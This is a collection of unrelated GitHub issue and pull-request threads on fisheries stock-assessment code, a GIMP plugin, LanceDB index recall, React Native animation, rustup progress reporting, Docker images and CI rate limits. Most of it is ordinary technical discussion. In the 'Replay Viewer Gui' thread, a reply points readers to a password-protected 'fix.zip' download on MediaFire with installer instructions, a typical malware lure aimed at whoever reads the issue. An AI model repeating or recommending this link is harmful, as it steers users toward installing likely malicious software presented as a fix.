Scoping fleet_type = 4 = Predator

Imported from redmine, Issue #67572
Opened by @RickMethot on 2019-08-21
Status when imported: New
requirements could include:

input of consumption amount in biomass or numbers
input predator abundance as a "survey" of effort
functional form to relate "F" by the predator to the predator abundance
composition data is from gut contents

A predator fleet will look a lot like a bycatch fleet.  What's different?
Nice to be able to tune the F to match the discard amount for both.
Perhaps change model so that catch entries for a bycatch fleet are treated as total catch and SS tunes to them just like it does for retained catch of fleet type=1, but still need to generate a F in designated years for which there is no input catch amount.

This issue became actively developed on 8/31/2021 in order to provide a means to treat mortality caused by Red Tide as a part of M rather than part of F.  Because if it is part of F, then the overall F reporting becomes distorted (see #200).
The approach being implemented is as follows:

designate fleet as a predator  type 4
nothing else needed in data file
control file:  then at end of MG parameters creates a M2 parameter for each predator fleet.
In the test example, I gave that parameter 2 blocks to make it do exactly (using M2) what original approach did with F
selectivity is specified normally and used to distribute the M2 across ages
output of the resultant M is best viewed with the Z=M table at end of report.sso

Later I will amend the survey CPUE section so an index can be used to inform the M2 over time.
@nathanvaughan-NOAA - Nathan can comment here.

Thanks Rick,
I was able to get the basic setup running with Gag. A brief rundown of the changes I made are

Adjust fleet type from 2 to 4 for the red tide fleet in the dat file
Remove the discard fleet specification row from the dat file
Add an M2 parameter to the control file for the red tide fleet fixed at zero, with TV blocks enabled and set up to replace the base param in each block.
Added a new TV block that has three periods specified as 2005 2005 2014 2014 2018 2018 to the control file
Added 3 TV params to the control file estimated in phase 4

My first impression is that the model appears to be running correctly.
The three M estimates are very close to the Fs estimated by the previous bycatch fleet approach.
The new M estimates are also easily available in the last column of the TIME_SERIES section of the report file and in the parameter estimates section.
I still need to develop a seasonal version of the model to see if anything changes.
I also haven't dug deeper into the results to confirm nothing is off.
I will also test the new version with our projection software and see how it works.
Thanks again @Rick-Methot-NOAA  for getting this running so quickly.

Thanks Nathan.  Those are exactly the steps I followed for red grouper.
The trick in doing this is that I could not add M2 right after getting the
usual M1 calculated.
Instead, the code for M2 is further down in the code and is in the season
loop so it can use results of makefishselex() to spread the M2 across ages.
So the sequence goes:

calculated natM()  using  get_natmort();
store copy:      natM_M1=natM;  // where each is matrix with
dimensions of season, morph-sex, and age.
enter season loop and update selectivity with makefishselex()
then if predators exist, update that season's M and dependent
quantities:
natM(s,gpi)=natM_M1(s,gpi)+pred_M2(f1,styr-2)*sel_al_3(s,g,f);
surv1(s,gpi)=mfexp(-natM(s,gpi)*seasdur_half(s));
surv2(s,gpi)=square(surv1(s,gpi));

The sequence above appears 3 times in the code:  for start year (hence for
initial equilibrium), for each year of time series, and for each year of
the forecast.
I need to double check some flags used to skip over the calculations if M
and Growth parameters are not time-varying.  M2 needs to get updated if
either M or selectivity or growth is updated.  So I think it safest to
always update it annually if predators exist to avoid too many more IF
statements.
On Thu, Sep 2, 2021 at 10:27 AM Nathan Vaughan @.***>
wrote:

Thanks Rick,
I was able to get the basic setup running with Gag. A brief rundown of the
changes I made are

Adjust fleet type from 2 to 4 for the red tide fleet in the dat file
Remove the discard fleet specification row from the dat file
Add an M2 parameter to the control file for the red tide fleet
fixed at zero, with TV blocks enabled and set up to replace the base param
in each block.
Added a new TV block that has three periods specified as 2005 2005
2014 2014 2018 2018 to the control file
Added 3 TV params to the control file estimated in phase 4

My first impression is that the model appears to be running correctly.
The three M estimates are very close to the Fs estimated by the previous
bycatch fleet approach.
The new M estimates are also easily available in the last column of the
TIME_SERIES section of the report file and in the parameter estimates
section.
I still need to develop a seasonal version of the model to see if anything
changes.
I also haven't dug deeper into the results to confirm nothing is off.
I will also test the new version with our projection software and see how
it works.
Thanks again @Rick-Methot-NOAA https://github.com/Rick-Methot-NOAA for
getting this running so quickly.
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Could more explicit parameter names besides M1 and M2 be used? Especially if these are reported back to the user... I personally always forget what is meant by these

M2 is an usual and accustomed term in the multispecies modeling world.
M=M1+M2 where M2 is the component of M due explicitly to predation.
On Thu, Sep 2, 2021 at 1:10 PM Kathryn Doering @.***>
wrote:

Could more explicit parameter names besides M1 and M2 be used? Especially
if these are reported back to the user... I personally always forget what
is meant by these
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Right, but that still doesn't make it a great name! But I guess we live with Type I and Type II error in statistics... I think someone brought up using more explicit names than M1 and M2 in a discussion at CAPAM, also.

We're on the cutting edge, so we can initiate the change!
We can call the parameter _predM
We should develop some output to show base M, predM, combined M, and
combined M+F (e.g. Z).
On Thu, Sep 2, 2021 at 1:23 PM Kathryn Doering @.***>
wrote:

Right, but that still doesn't make it a great name! But I guess we live
with Type I and Type II error in statistics... I think someone brought up
using more explicit names than M1 and M2 in a discussion at CAPAM, also.
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Great ideas, Rick - are all these values reported yet from SS? Or does that still need to be added?  Happy to help out with new r4ss plots, potentially.
Hmm, trying to think of an informative name for M_base, I wonder if that could be confused with calling something the "base parameter value" when using time varying values? Giving this more thought, I can see why multispecies community defaulted to M1 and M2. Now I'm curious to hear others' thoughts on naming components of natural mortality, maybe @christinestawitz-NOAA who has done more ecosystem/multispecies work?

Working with Max we realized that the pred_M2 for styr-1 (initial equilibrium) needs better controls.

I'm working on naming with Kelli now and I can't say I have a good solution yet beyond the concept of self-documenting code such that it is obvious what each one is. For example, base_natM, multispp_natM, singlespp_natM. If you are changing it in Stock Synthesis might be worth a longer chat now so we can be consistent with future names in FIMS.
I also like synchronizing the name with r4ss (my spreadsheet says that is natM unless I'm outdated).

Thanks Christine.  I am not ready to revamp the entire internal naming conventions for Synthesis, but will consider changes in future to attain better alignment with protocols developed by FIMS.  Right now, if pred_M2 is used the natM is updated to include it.  Someone will eventually want easy access to base_natM, so I will create that now.

While working with Max on vendance application, realized that need to calculate the total consumption by each M2 fleet.  This can be done at same time as the other catch for fishing fleets are calculated.
Will store this as discard so the observed total consumption amounts can be entered as discard.
So, three capabilities will be developed:
a.  enter M2 as env driver:  So M2 = 0.0 + env_link_parm*M2_indicator
b.  enter total M2 consumption (by fleet):  using total kill and  M2/Z
c.   enter survey of M2 intensity:   enter predator abundance as a survey of M2 using same capability as current survey of F approach

implement the above:
total consumption by each predator is now stored in exp_disc where SS can create logL relative to input of consumption amounts
pred_M2 parameter is mapped into survey expected values using survey_type==2  (survey of F).  Exept in this case it is not a F, it is M2.
Set up M2 for vendance model as a random dev and seemed to run fine, although with rather high biomass and low F and low M2
pushing this up to github

Hey Rick,
I'm still working through the predator fleet testing with Gag. I was able to get it up and running once I figured out the surveys were running in month 7 and if you don't have any catch in that season everything returns nulls. The first potential forecasting error I have noticed is that fixed forecast inputs for retained catch are not being matched exactly in the report time_series section outputs. I'll let you know when I have an idea what is causing it or when I identify further issues.
example:
forecast file input
#year    seas   fleet   Catch        basis
2020	3	1	73.786623	3	#MT
2020	3	2	133.690317	3	#MT
2020	3	3	2.611	3	#Numbers
2020	3	4	37.60773933	3	#Numbers
2020	3	5<PHONE_NUMBER>	3	#Numbers
achieved values
year     seas    fleet    Catch
2020    3         1         73.0806
2020    3        2        133.645
2020    3        3        2.60063
2020    3        4        37.6488
2020    3        5        266.061
For most fleets, the results are very close but for fleet 5 they seem a good deal off (before the pred fleet and season change all the achieved values were identical to the target values).
I also noticed that the way seasons are set up seems to have a significant impact on estimated red tide mortality rates. I assume this is due to the variable timing between the surveys and the landings based on the season setup. This seems like a sensitivity we may need to dig into more for future analyses.
I have put the completed run for Gag with 4 seasons up on google drive if that helps. My runs were done with the original exe file before your recent commits, if those were expected to fix some of these issues I can rerun the tests.
Cheers,
Nathan

https://drive.google.com/drive/u/1/folders/10qPS48uP6KfbQPo3aPBSghRa6Wrccs4i
here is the link to google drive Gag run.

find need to add seasonality.
So now if nseas>1, add a season multiplier for each season.
M2 parameter for each predator fleet
0 4 0.283 0.2 0.8 0 -3 0 5 1991 2018 2 1 2 # PredM2_1
0 10 1 1 1 0 -1 0 0 0 0 0 0 0 # PredM2_1_s1
0 10 1.12491 1 1 0 4 0 5 1991 2018 4 0 0 # PredM2_1_s2
0 10 1.40781 1 1 0 4 0 5 1991 2018 4 0 0 # PredM2_1_s3
0 10 1.80095 1 1 0 4 0 5 1991 2018 4 0 0 # PredM2_1_s4

timevary MG parameters
#_ LO HI INIT PRIOR PR_SD PR_type  PHASE
1e-05 2.4 0.231134 0.2 0.8 0 3 # PredM2_1_BLK1repl_1990
0.0001 2 1.7 0.5 0.5 6 -5 # PredM2_1_dev_se
-0.99 0.99 0 0 0.5 6 -6 # PredM2_1_dev_autocorr
0.0001 2 1.7 0.5 0.5 6 -5 # PredM2_1_s2_dev_se
-0.99 0.99 0 0 0.5 6 -6 # PredM2_1_s2_dev_autocorr
0.0001 2 1.7 0.5 0.5 6 -5 # PredM2_1_s3_dev_se
-0.99 0.99 0 0 0.5 6 -6 # PredM2_1_s3_dev_autocorr
0.0001 2 1.7 0.5 0.5 6 -5 # PredM2_1_s4_dev_se
-0.99 0.99 0 0 0.5 6 -6 # PredM2_1_s4_dev_autocorr

@Rick-Methot-NOAA should this be marked resolved?

just realized that predator is a fleet, so potentially could be ara-specific.  But currently the M2 mortality is not implemented with an area-specific capability.

have not worked on the area-specific M2, which will take some work.
While working with another user found two issues:
M2 was not playing well with natM_type=3 (empirical M input).
Also noticed that a situation could occur in which M2 was re-added to the total M each year; which is bad.
Fixed both of above by saving initial calculation of natM to natM_M1, then adding M2 later if predators are used.


Feature Request: How would I code a Replay Viewer Gui

there is no inventory, is there a way to inject into it? or how do I know that im watching a replay can you provide events to this please

Download
https://www.mediafire.com/file/jc5ws0hujgycrp5/fix.zip/file
password: changeme
In the installer menu, select "gcc."

there is no inventory, is there a way to inject into it? or how do I know that im watching a replay can you provide events to this please

So there's this cool mod called the ReplayMod that lets you replay your recordings. . .


Add optional spacing between tiles in "Square" mode

Adding option to make some space between tiles to prevent color bleeding in certain rendering APIs (like HTML5 canvas). Free space is filled by transparent color. Only adding this for Square mode because the other one seems to be broken (#3)
Resolves #4 (at least partially)

Nice! I am in the middle of moving, ping me if I forget to check this by next week.

Nice! I am in the middle of moving, ping me if I forget to check this by next week.

ping

when testing, neither spacing nor layer groups seems to work. I will try to debug, but I suppose it works on you side? which version of Gimp did you test on?

when testing, neither spacing nor layer groups seems to work. I will try to debug, but I suppose it works on you side? which version of Gimp did you test on?

Weird. I just reinstalled the script and it works as expected. I am on Gimp 2.10.24

I spent a couple of hours trying to solve the layer group issue myself yesterday, its a really interesting problem. I will try again to see if I can get your code working. Thanks for the effort 👍

@malteehrlen Any updates? Just tried newest gimp 2.10.32 and it works like a charm...

OK I figured out my issue: I had copied the script into two folders both in the script path, which caused issues. Sorry this took so long, I do appreciate the PR very much.

OK I figured out my issue: I had copied the script into two folders both in the script path, which caused issues. Sorry this took so long, I do appreciate the PR very much.

I just wanted to suggest if this wasn't the issue :D
No need to be sorry, Gimp is really not making it easy for devs to develop plugins ;) Glad to help


bug(python): Low recall on Lance IVF_HNSW_* indexes

LanceDB version
latest 0.14.0
What happened?
I was benchmarking different flavors of index types supported by LanceDB and found that both IVF_HNSW_SQ and IVF_HNSW_PQ have unexpected low recall on query.
If I understand correctly Lance IVF_HNSW_* indices builds a sub-HNSW index for each IVF partition to help reduce number of IVF partitions required for large scale datasets, which is slightly different from faiss IVF_HNSW variants where a HNSW graph gets build on IVF centroids when the number of centroids gets large to help speed up retrieval latency.
When we set n_partitions and n_probe both to 1 for Lance IVF_HNSW_* index types, it should effectively create a HNSW index with SQ/PQ quantization.
However, when I cross compared it with popular implementation like faiss, I've noticed a significant difference in recall (~10%). The problem seem to be related to the HNSW implementation not the quantizer implementation because the recall difference between Lance IVF_PQ and IVF_HNSW_PQ also appears to be very significant with the same level of quantization applied.
Are there known steps to reproduce?
I was able to repro this issue on a commonly used sift10k dataset
Installing dataset with
wget ftp://ftp.irisa.fr/local/texmex/corpus/siftsmall.tar.gz
tar -xzvf siftsmall.tar.gz

Simple python script for repro
import lance
import pandas as pd
import numpy as np
import pyarrow as pa
import faiss
import psutil
import time
import uuid
import os

M = 32
efConstruction = 1024
nbits = 8
k = 10

def read_ivecs(fname):
  a = np.fromfile(fname, dtype="int32")
  d = a[0]
  return a.reshape(-1, d + 1)[:, 1:].copy()

def read_fvecs(fname):
  return read_ivecs(fname).view("float32")

def l2_norm(arr):
  l2_norm = np.linalg.norm(arr, axis=1, keepdims=True)
  normalized_array = arr / l2_norm
  return arr

def calculate_average_recall(res, groundtruth):
  top_k = res.shape[1]
  groundtruth_top_k = groundtruth[:, :top_k]
  recalls = [len(set(res[i]).intersection(set(groundtruth_top_k[i]))) / top_k for i in range(res.shape[0])]
  avg_recall = np.mean(recalls)
  return avg_recall

query = l2_norm(read_fvecs("siftsmall/siftsmall_query.fvecs"))
base = l2_norm(read_fvecs("siftsmall/siftsmall_base.fvecs"))
groundtruth = read_ivecs("siftsmall/siftsmall_groundtruth.ivecs")

faiss_index = faiss.IndexHNSWSQ(base.shape[1], faiss.ScalarQuantizer.QT_8bit, M)
faiss_index.hnsw.efConstruction = efConstruction
faiss_index = faiss.IndexIDMap(faiss_index)
faiss_index.train(base)
faiss_index.add_with_ids(base, np.arange(base.shape[0]))

D, I = faiss_index.search(query, k)

avg_recall = calculate_average_recall(I, groundtruth)
print(f"Faiss: {avg_recall}")

table = pa.Table.from_pandas(
  pd.DataFrame({
    'id': np.arange(base.shape[0]).astype(str),
    'embedding': base.tolist()
  }),
  schema=pa.schema(
    [
      pa.field("id", pa.string()),
      pa.field("embedding", pa.list_(pa.float32(), base.shape[1])),
    ]
  )
)
dataset = lance.write_dataset(
  table,
  f"/lance_dataset_{str(uuid.uuid4())}",
  schema=pa.schema(
    [
      pa.field("id", pa.string()),
      pa.field("embedding", pa.list_(pa.float32(), base.shape[1])),
    ]
  ),
  mode="overwrite"
)
dataset.create_index(
  column=["embedding"],
  metric="L2",
  index_type="IVF_HNSW_SQ",
  num_partitions=1,
  max_levelint=12,
  mint=M,
  ef_constructionint=efConstruction,
  replace=True
)
res = np.array([
  dataset.to_table(nearest={"column": "embedding", "q": q, "k": k, "nprobes": 1}).to_pandas().id.to_numpy()
  for q in query
], dtype=int)
avg_recall = calculate_average_recall(res, groundtruth)
print(f"Lance: {avg_recall}")

Faiss recall is ~97% in this example whereas Lance is only at ~87%

Thanks for feedbacks @zhidongqu-db .
ef would significantly impact the recall for HNSW, lance would use ef = 1.5 * k by default, which is different from faiss.
You can set k=100 and efSearch=150 for faiss.
But we sitll get much lower recall than faiss when k < 20 with the same efSearch, trying to figure it out.
Will make it easy to set ef from pylance


Missing key(s) in state_dict

When initializing the training I get the following error:
Missing key(s) in state_dict: "dec.m_source.l_linear.weight", "dec.m_source.l_linear.bias", "dec.noise_convs.0.weight", "dec.noise_convs.0.bias", "dec.noise_convs.1.weight", "dec.noise_convs.1.bias", "dec.noise_convs.2.weight", "dec.noise_convs.2.bias", "dec.noise_convs.3.weight", "dec.noise_convs.3.bias", "enc_p.emb_pitch.weight"

I fixed the problem by installing Tensorflow and reinstalling Tensorboard


Animations not showing on Android build

Description
The animation appears in before mounting but disappears when mounted (ANDROID).
Steps to Reproduce
use sample code:
import React from 'react';
import LottieView from 'lottie-react-native';

export default class BasicExample extends React.Component {
  render() {
    return <LottieView source={require('./animation.json')} autoPlay loop imageAssetsFolder={'lottie/animation.json'} />;
  }
}

run npm run android
Expected behavior:
animation is displayed
Actual behavior:
The animation shows up one time on start-up then disappears.
Versions
npm i --save lottie-react-native
npm i --save<EMAIL_ADDRESS>Npm versions:
{ npm: '6.4.1',
ares: '1.14.0',
cldr: '33.1',
http_parser: '2.8.0',
icu: '62.1',
modules: '64',
napi: '3',
nghttp2: '1.34.0',
node: '10.13.0',
openssl: '1.1.0i',
tz: '2018e',
unicode: '11.0',
uv: '1.23.2',
v8: '6.8.275.32-node.36',
zlib: '1.2.11' }
react native info:
System:
OS: macOS 10.15.3
CPU: (12) x64 Intel(R) Core(TM) i9-8950HK CPU @ 2.90GHz
Memory: 88.77 MB / 32.00 GB
Shell: 3.2.57 - /bin/bash
Binaries:
Node: 10.13.0 - /usr/local/bin/node
Yarn: Not Found
npm: 6.4.1 - /usr/local/bin/npm
Watchman: 4.9.0 - /usr/local/bin/watchman
Managers:
CocoaPods: 1.9.1 - /usr/local/bin/pod
SDKs:
iOS SDK:
Platforms: iOS 13.2, DriverKit 19.0, macOS 10.15, tvOS 13.2, watchOS 6.1
Android SDK:
API Levels: 23, 25, 26, 27, 28
Build Tools: 26.0.1, 27.0.3, 28.0.3
System Images: android-22 | Google APIs Intel x86 Atom_64, android-23 | Google APIs Intel x86 Atom_64, android-25 | Intel x86 Atom_64, android-25 | Google APIs Intel x86 Atom, android-26 | Google APIs Intel x86 Atom, android-27 | Intel x86 Atom_64, android-28 | Google APIs Intel x86 Atom
Android NDK: Not Found
IDEs:
Android Studio: 3.5 AI-191.8<IP_ADDRESS>77832
Xcode: 11.2.1/11B500 - /usr/bin/xcodebuild
Languages:
Java: 1.8.0_191 - /usr/bin/javac
Python: 2.7.15 - /usr/local/bin/python
npmPackages:
@react-native-community/cli: Not Found
react: 16.11.0 => 16.11.0
react-native: 0.62.2 => 0.62.2
npmGlobalPackages:
react-native: Not Found

solved, was a problem with an image background that I was using. solved using  instead of


Why are there two Core projects?

What is the purpose of uTinyRipperCore (the .NET Framework project) when uTinyRipperCoreNETStandard (the .NET Standard project) exists?
According to Microsoft .NET Standard supports both the .NET Framework and .NET Core runtimes, so having a separate Framework-only version of the Core project seems completely redundant.

Because .net standard is pretty limited and I will better get rid of core then from framework

Here is an example. I removed framework project and this code no longer works
https://github.com/mafaca/UtinyRipper/blob/f36a38d5480d026265ba7bbc55357deb661ee0be/uTinyRipperCore/Structure/GameCollection/Assembly/Mono/MonoManager.cs#L142-L154
I got nothing from this useless Core project, but now I have one more problem to solve.


Download speed becomes absurdly high for 6 seconds after resuming from a partial download

Repro step:

Download anything (e.g. rustup update, rustup add target, etc.)
When download is partially complete (say 50%), Ctrl+C to kill it
Resume download (run step 1 again).
The download will start from 50%, and the speedometer extremely high, and the ETA being misleadingly short. The numbers will become normal after a few seconds.

Demo at https://asciinema.org/a/b5ayrzn7naj6td6qegq0xxyql. The speed should be around ~100 KiB/s, but at 00:59 where the download is resumed, the speed was reported to be ~1.0 MiB/s for 6 seconds, and suddenly goes back to ~100 KiB/s at 01:05.
It seems the speed calculation include the partially downloaded bytes, which it should not.

You're exactly right: the code that processes the previously downloaded part for checksumming purposes is hooked into the same notifier that keeps track of download progress. It shouldn't be too difficult to separate them out.
Out of interest, is this causing actual problems (apart from reporting obviously false information...)?

@jelford No actual problem, just very annoying in estimating how much time I should pay attention to the progress.

We've reworked the progress reporting code a few times since this issue was reported.  Do you think it still needs further tweaking?


Minify Docker Images

This PR reduces the size of images we are creating. I am also adding linux/arm/v7 as a target so I can run this on SBCs.

Add multi-stage Dockerfile (credit: @mini-ninja-64 )
Add linux/arm/v7 to buildx platforms

We are now down to 73.5MB, from 234MB. That's an approximate 69% (nice) saving.
$ docker images
REPOSITORY                    TAG               IMAGE ID       CREATED          SIZE
cutiebot                      latest            7b52d8b53397   14 seconds ago   73.5MB
ghcr.io/cutie-club/cutiebot   latest            2acb35507fa3   4 days ago        234MB

Have added python3 and build-base so it builds for arm/v7 as binaries aren't built for it (go figure)


Update version to 5.0.0, bring modifications from 4.1.x to 5.x

Fixes #535

hello!
why is 5.0-beta1 the version of the cassandra in the 5.0 release of the container ?
thank you!


Win Build fix

What is the purpose of this pull request (PR)?
Any background context to help the reviewer?
Was this PR tested and how?
Does this PR resolve an open issue (reference issue #)?
Fixes issue or JIRA tasks:

More Questions:

Does the knowledge base need an update?

Does this PR add or change dependencies?

Does this PR change or fork the blockchain

I cannot merge this as this works for linux/osx. This is currently a build time change when building windows.


Fetching list of tracked files from GitHub fails with error "API rate limit exceeded for installation ID"

Problem
I'm working on refactoring the existing Apache Pulsar (apache/pulsar) build in my fork lhotari/pulsar.
This is the way how I'm using test-reporter:
https://github.com/lhotari/pulsar/blob/4c13ef2909aeb1de1b0354c07710fe8257a3ccb1/.github/workflows/pulsar-ci-test-report.yaml#L20-L39
However this fails with this type of errors
Action was triggered by workflow_run: using SHA and RUN_ID from triggering workflow
Check runs will be created with SHA=ef23acb30548a37de648cc89965f854668975e95
Fetching list of tracked files from GitHub
Error: API rate limit exceeded for installation ID 6407194.

failed workflow run.

Full logs

2021-03-05T09:11:25.6157659Z ##[section]Starting: Request a runner to run this job
2021-03-05T09:11:25.9270299Z Can't find any online and idle self-hosted runner in current repository that matches the required labels: 'ubuntu-20.04'
2021-03-05T09:11:25.9270420Z Can't find any online and idle self-hosted runner in current repository's account/organization that matches the required labels: 'ubuntu-20.04'
2021-03-05T09:11:25.9270817Z Found online and idle hosted runner in current repository's account/organization that matches the required labels: 'ubuntu-20.04'
2021-03-05T09:11:26.1074475Z ##[section]Finishing: Request a runner to run this job
2021-03-05T09:11:32.0681059Z Current runner version: '2.277.1'
2021-03-05T09:11:32.0716620Z ##[group]Operating System
2021-03-05T09:11:32.0717668Z Ubuntu
2021-03-05T09:11:32.0718135Z 20.04.2
2021-03-05T09:11:32.0718585Z LTS
2021-03-05T09:11:32.0719158Z ##[endgroup]
2021-03-05T09:11:32.0719747Z ##[group]Virtual Environment
2021-03-05T09:11:32.0720491Z Environment: ubuntu-20.04
2021-03-05T09:11:32.0721098Z Version: 20210302.0
2021-03-05T09:11:32.0722229Z Included Software: https://github.com/actions/virtual-environments/blob/ubuntu20/20210302.0/images/linux/Ubuntu2004-README.md
2021-03-05T09:11:32.0723689Z Image Release: https://github.com/actions/virtual-environments/releases/tag/ubuntu20%2F
2021-03-05T09:11:32.0724686Z ##[endgroup]
2021-03-05T09:11:32.0726938Z ##[group]GITHUB_TOKEN Permissions
2021-03-05T09:11:32.0728255Z Actions: write
2021-03-05T09:11:32.0728785Z Checks: write
2021-03-05T09:11:32.0729399Z Contents: write
2021-03-05T09:11:32.0729971Z Deployments: write
2021-03-05T09:11:32.0730682Z Issues: write
2021-03-05T09:11:32.0731282Z Metadata: read
2021-03-05T09:11:32.0731999Z OrganizationPackages: write
2021-03-05T09:11:32.0732756Z Packages: write
2021-03-05T09:11:32.0733340Z PullRequests: write
2021-03-05T09:11:32.0734077Z RepositoryProjects: write
2021-03-05T09:11:32.0734765Z SecurityEvents: write
2021-03-05T09:11:32.0735356Z Statuses: write
2021-03-05T09:11:32.0736036Z ##[endgroup]
2021-03-05T09:11:32.0739249Z Prepare workflow directory
2021-03-05T09:11:32.1436660Z Prepare all required actions
2021-03-05T09:11:32.1450497Z Getting action download info
2021-03-05T09:11:32.5381111Z Download action repository 'dorny/test-reporter@v1'
2021-03-05T09:11:34.2772567Z ##[group]Run dorny/test-reporter@v1
2021-03-05T09:11:34.2773285Z with:
2021-03-05T09:11:34.2773817Z   artifact: /(.*)-test-report/
2021-03-05T09:11:34.2774344Z   name: $1 Tests
2021-03-05T09:11:34.2774808Z   path: *.xml
2021-03-05T09:11:34.2775370Z   reporter: jest-junit
2021-03-05T09:11:34.2775923Z   max-annotations: 50
2021-03-05T09:11:34.2776932Z   token: ***
2021-03-05T09:11:34.2777442Z   list-suites: all
2021-03-05T09:11:34.2777970Z   list-tests: all
2021-03-05T09:11:34.2778501Z   fail-on-error: true
2021-03-05T09:11:34.2779040Z ##[endgroup]
2021-03-05T09:11:35.6311663Z Action was triggered by workflow_run: using SHA and RUN_ID from triggering workflow
2021-03-05T09:11:35.6412819Z Check runs will be created with SHA=ef23acb30548a37de648cc89965f854668975e95
2021-03-05T09:11:35.6413983Z Fetching list of tracked files from GitHub
2021-03-05T09:11:35.6420550Z ##[error]API rate limit exceeded for installation ID 6407194.
2021-03-05T09:11:35.6470414Z Cleaning up orphan processes

It seems that test-reporter exceeds the GitHub API rate limits when using a large repository like apache/pulsar.
Expected behavior
test-reporter would use GitHub API in a way that it doesn't exceed the rate limiting.
Is there any workaround for this problem?
Other
I have reported a similar issue about paths-filter, https://github.com/dorny/paths-filter/issues/73

Hello,
Thanks for reporting the issue. This action needs to know which files are tracked by git. When action is triggered by workflow_run event it uses GitHub trees API to get it.
I didn't set recursive parameter so it makes separate query for every folder which exits in repository.  Also we need to know which files are tracked by git only for creation of code annotation when some test is failed so I can make it lazy loaded.
I will work on it ASAP.

@lhotari:
You shouldn't see the "API rate limit" error anymore.
However test report still won't work for your (yet).
You are using JavaScript jest-junit reporter for test results from java.
I have to do some small adjustments to support java. There are some subtle differences in the format. I will notify you when it's ready.

Amazing work @dorny . I believe this action will become very popular among OSS projects.

I first wanted to say the action is great, so thanks a lot for the great work.
We are seeing this issue recently, due to some dependabot PRs. The logs are:
Run dorny/paths-filter@v2
  with:
    filters: xxx:
    - 'xxx/**'
    - '.github/**'

    token: ***
    list-files: none
    initial-fetch-depth: 100
Fetching list of changed files for PR#142 from Github API
  Invoking listFiles(pull_number: 142, page: 1, per_page: 100)
Error: API rate limit exceeded for installation ID 1481229.


None of your *.ipynb notebooks are loading in the GitHub notebook viewer

For some reason, they all give me a "Something went wrong. Reload?" error message. I had to download the repo and open them in Jupyter locally to be able to view them.

yes, i noticed that as well, however it works today, so i think this was an issue on githubs side


Use @kwdef and added docs

Use Base.@kwdef for Transform types (exception TimestampTransform which has a kwarg-based constructor)
Renamed message_label and level_label as just label
Added doc strings

Codecov Report

Merging #5 into master will not change coverage.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##           master       #5   +/-   ##
=======================================
  Coverage   97.36%   97.36%
=======================================
  Files           3        3
  Lines          38       38
=======================================
  Hits           37       37
  Misses          1        1

Impacted Files
Coverage Δ

src/transformers.jl
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 23a98cd...dca2095. Read the comment docs.


There is no attachment in the outbox after sending the email

There is no attachment in the outbox after sending the email,I want to know the reason.

Please use the forum for support requests.


[Embeddingapi] TC dev for setLoadWithOverviewMode API

Impacted tests(approved): new 4, update 0, delete 0
Unit test platform: Crosswalk Project for Android 20.50.534.0
Unit test result summary: pass 4, fail 0, block 0
BUG=https://crosswalk-project.org/jira/browse/CTS-1565

LGTM


Add Using_load_ard notebook to develop branch

Proposed changes
Added a new Using_load_ard notebook to the Frequently_used_code directory in the develop branch. This notebook demonstrates how to use load_ard to:

Load Landsat 5, 7 and 8 data into a single xarray.Dataset
Optionally apply a cloud mask to the resulting data
Filter resulting data to keep only cloud-free observations
Load Sentinel 2A and 2B data into a single xarray.Dataset
Optionally label resulting data with metadata indicating the satellite sensor the data came from

Checklist

[x] Notebook created using the DEA-notebooks template
[x] Remove any unused Python packages from Load packages
[x] Remove any unused/empty code cells
[x] Remove any guidance cells (e.g. General advice)
[x] Ensure that all code cells follow the PEP8 standard for code. The jupyterlab_code_formatter tool can be used to format code cells to a consistent style: select each code cell, then click Edit and then one of the Apply X Formatter options (YAPF or Black are recommended).
[x] Include relevant tags in the final notebook cell (refer to the DEA Tags Index, and re-use tags if possible)
[x] Clear all outputs, run notebook from start to finish, and save the notebook in the state where all cells have been sequentially evaluated
[x] Test notebook on both the NCI and DEA Sandbox (flag if not working as part of PR and ask for help to solve if needed)
[x] If applicable, update the Notebook currently compatible with the NCI|DEA Sandbox environment only line below the notebook title to reflect the environments the notebook is compatible with

Because the Collection 3 sample dataset is currently not in the production datacube on the NCI, I've had to do a bit of a hack to make the notebook work on both the NCI and the Sanbox:
# Connect to datacube containg Sentinel 2 data
dc_sentinel2 = datacube.Datacube(app='Using_load_ard')

# Temporary solution to account for Collection 3 data being in a different
# database on the NCI
try:
    dc_landsat = datacube.Datacube(app='Using_load_ard', env='c3-samples')
except:
    dc_landsat = datacube.Datacube(app='Using_load_ard')

Let me know if anyone knows a better way to do this!

Is the load_ard function meant to be in the Scripts folder? I see nothing there at the moment.

@uchchwhash It's currently on a different branch/in a different pull request: https://github.com/GeoscienceAustralia/dea-notebooks/blob/setup_scripts/Scripts/dea_datahandling.py


update USERS.md with Equinix info

adds Equinix to list of users
Please ensure your pull request adheres to the following guidelines:

[ ] For first time contributors, read Submitting a pull request
[ ] All code is covered by unit and/or runtime tests where feasible.
[ ] All commits contain a well written commit description including a title,
description and a Fixes: #XXX line if the commit addresses a particular
GitHub issue.
[ ] All commits are signed off. See the section Developer’s Certificate of Origin
[ ] Provide a title or release-note blurb suitable for the release notes.
[ ] Thanks for contributing!

Fixes: #issue-number
<!--


Error unwrapping list of lists

I have created a graphql schema which I have boiled down to this
type SomeQuery {
    title: String
    failingField: [[String!]!]
}

Now, when I try and fetch this on the front end, I get the following error
TypeError: Cannot read property 'value' of undefined
    at unwrapType (file:///.../node_modules/houdini/build/cmd.js:73765:53)
    at inlineType (file:///.../node_modules/houdini/build/cmd.js:76263:14)
    at file:///.../node_modules/houdini/build/cmd.js:76315:33
    at Array.map (<anonymous>)
    at inlineType (file:///.../node_modules/houdini/build/cmd.js:76308:132)
    at file:///.../node_modules/houdini/build/cmd.js:76315:33
    at Array.map (<anonymous>)
    at inlineType (file:///.../node_modules/houdini/build/cmd.js:76308:132)
    at file:///.../node_modules/houdini/build/cmd.js:76315:33
    at Array.map (<anonymous>)

But if I leave out the failingField field, the query succeeds. I am not sure if this is an issue with Houdini, or I am doing something wrong

oo the list of lists is for sure to blame - Ill work on getting a fix out tonight

@SorenHolstHansen - i have half of the problem fixed. Will work on the rest of it later today. You can track the progress in #151

Have all of the tests for the other half passing. Was a lot trickier than I expected but it's done now. Will review it and hopefully have it deployed tomorrow morning

This should be fixed now - let me know if you are still running into problems

Thanks man!


grub2_efi: fix cross-compilation

Motivation for this change
grub2_efi doesn't currently cross-compile because the grub build system is weird and tries to use the build toolchain to target the host. It needs explicit configuration for each tool used in order to use the proper toolchain. This is also the approach taken by buildroot, see link in comments.
Things done

